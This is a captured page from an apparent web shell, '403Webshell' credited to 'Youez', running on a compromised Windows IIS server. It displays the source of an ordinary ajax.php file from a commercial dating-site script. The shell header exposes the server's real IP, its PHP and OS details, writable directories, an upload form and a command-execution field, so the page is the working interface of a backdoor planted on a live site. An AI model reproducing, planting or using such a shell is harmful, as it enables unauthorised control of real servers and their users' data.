403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/HostingSpaces/admin/chatme24.com/wwwroot/update/update-chameleon-5.1-5.2/administration/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/HostingSpaces/admin/chatme24.com/wwwroot/update/update-chameleon-5.1-5.2/administration/ajax.php
<?php
/* (C) Websplosion LLC, 2001-2021

IMPORTANT: This is a commercial software product
and any kind of using it must agree to the Websplosion's license agreement.
It can be found at http://www.chameleonsocial.com/license.doc

This notice may not be removed from the source code. */

include("../_include/core/administration_start.php");

$cmd = get_param('cmd');
$file = get_param('file');

$tmpl = get_param('tmpl', '');

$fileUserPart = Common::getOption('url_files', 'path') . 'tmpl/' . ($tmpl ? $tmpl : Common::getOption('main', 'tmpl'));
$allowed = array('get_url_background_tmpl',
                 'get_url_main_page_image_urban',
                 'get_url_footer_tile_image_urban',
                 'get_url_footer_image_urban',
                 'get_url_background_profile',
                 'get_url_mobile_main_page_image',
                );
if (in_array($cmd, $allowed)) {
    if ($file != '') {

        if($tmpl) {
            $fileTmplUrlStart = "{$g['path']['url_tmpl']}main/{$tmpl}/";
        } else {
            $fileTmplUrlStart = Common::getOption('url_tmpl_main', 'tmpl');
        }

        if ($cmd == 'get_url_main_page_image_urban') {
            $dir = 'images/main_page_image/';
            $addTmpl = '_main_page_image_';
        } elseif ($cmd == 'get_url_mobile_main_page_image') {
            $dir = 'images/main_page_image/';
            $addTmpl = '_main_page_image_';
            $fileUserPart = Common::getOption('url_files', 'path') . 'tmpl/' . Common::getOption('mobile', 'tmpl');
            $fileTmplUrlStart = Common::getOption('url_tmpl_mobile', 'tmpl');
        } elseif ($cmd == 'get_url_footer_tile_image_urban') {
            $dir = 'images/footer_tiles/';
            $addTmpl = '_footer_tile_image_';
        } elseif ($cmd == 'get_url_footer_image_urban') {
            $dir = 'images/footer_image/';
            $addTmpl = '_footer_image_';
        } elseif ($cmd == 'get_url_background_profile') {
            $dir = 'images/patterns/';
            $addTmpl = '_profile_background_';
        } else {
            $dir = 'images/backgrounds/';
            $addTmpl = '_bg_';
        }
        $fileTmplUrl = $fileTmplUrlStart . $dir;
        $fileTmpl = "{$fileTmplUrl}{$file}";

		$getDataSize = get_param_int('data_size');
        if (file_exists($fileTmpl)) {
			if ($getDataSize) {
				$response = array(
					'src' => $fileTmpl
				);
				$infoPhoto = @getimagesize($fileTmpl);
                if(isset($infoPhoto[1])) {
					$response['w'] = $infoPhoto[0];
					$response['h'] = $infoPhoto[1];
				}
				die(getResponseDataAjax($response));
			} else {
				die($fileTmpl);
			}

        }
        $fileUser = "{$fileUserPart}{$addTmpl}{$file}";

        if (file_exists($fileUser)) {
			if ($getDataSize) {
				$response = array(
					'src' => $fileUser
				);
				$infoPhoto = @getimagesize($fileUser);
                if(isset($infoPhoto[1])) {
					$response['w'] = $infoPhoto[0];
					$response['h'] = $infoPhoto[1];
				}
				die(getResponseDataAjax($response));
			} else {
				die($fileUser);
			}
        } else {
            if ($getDataSize) {
				$response = array('src' => 'no_file');
				die(getResponseDataAjax($response));
			} else {
				die('no_file');
			}
        }
    }

} elseif ($cmd == 'get_url_image_main_page') {
    if ($file != '') {
        if ($file == 'default') {
            die(Common::getOption('url_tmpl_main', 'tmpl') . 'images/main_page_dating_bg.png');
        }
        $fileUser = "{$fileUserPart}_main_page_dating_bg_user_{$file}";
		$getDataSize = get_param_int('data_size');
        if (file_exists($fileUser)) {
            if ($getDataSize) {
				$response = array(
					'src' => $fileUser
				);
				$infoPhoto = @getimagesize($fileUser);
                if(isset($infoPhoto[1])) {
					$response['w'] = $infoPhoto[0];
					$response['h'] = $infoPhoto[1];
				}
				die(getResponseDataAjax($response));
			} else {
				die($fileUser);
			}
        } else {
			if ($getDataSize) {
				$response = array('src' => 'no_file');
				die(getResponseDataAjax($response));
			} else {
				die('no_file');
			}
        }
    }
} elseif ($cmd == 'timezone') {
    global $p;
    $pCurrent = $p;
    $p = 'options.php';
    $time = array('time_utc' => gmdate('Y-m-d H:i:s'),
                  'time_local' => TimeZone::getDateTimeZone(get_param('zone')));
    echo lSetVars('info_timezone', $time);
    $p = $pCurrent;
    die();
} elseif($cmd=='set_languages_order') {
	if(IS_DEMO) {
		die();
	}
    $part = get_param('part', 'main');

    $languagesOrder=array();
    if(isset($_POST['order_lang']) && is_array($_POST['order_lang'])){
        foreach($_POST['order_lang'] as $k=>$v){
            $languagesOrder[$v]=$k;
        }
    }

    if(isset($g['lang_order'][$part])){
        Config::update('lang_order',$part, serialize($languagesOrder));
    } else {
        Config::add('lang_order',$part, serialize($languagesOrder));
    }

} elseif ($cmd == 'check_code_youtube') {
    $codes = get_param_array('codes');
    $errors = 'error';
    if ($codes) {
        $errors = '';
        foreach ($codes as $code) {
            $error = 'available';
            $formats = array('mp4');//, 'webm'
            /*$links = @file_get_contents('http://www.youtube.com/get_video_info?video_id=' . $code . '&el=detailpage');
            if ($links === false) {
                $error = 'error_code';
            } else {*/
                foreach ($formats as $format) {
					if(strpos($code, 'city_livestream') !== false) {
						$infoVideo = array();
					} else {
						$infoVideo = checkCodeYouTubeVideoToDownload($code, $format);//, false, $links
					}
                    if (isset($infoVideo['error_code'])) {
                        $error = 'error_code';
                    }
                }
            //}
            $errors .= $errors ? '&' . $error : $error;
        }
        echo $errors;
    } else {
        echo 'error';
    }
} elseif($cmd=='rotate_photo'){
    $responseData = CProfilePhoto::photoRotate();
    die($responseData);
} elseif($cmd == 'color_scheme_options_hide_impact'){
    Config::update('options', 'color_scheme_options_hide_impact', get_param('value'));
} elseif($cmd=='dz_upload_file'){
    die('ok');
}



include("../_include/core/administration_close.php");

Youez - 2016 - github.com/yon3zu
LinuXploit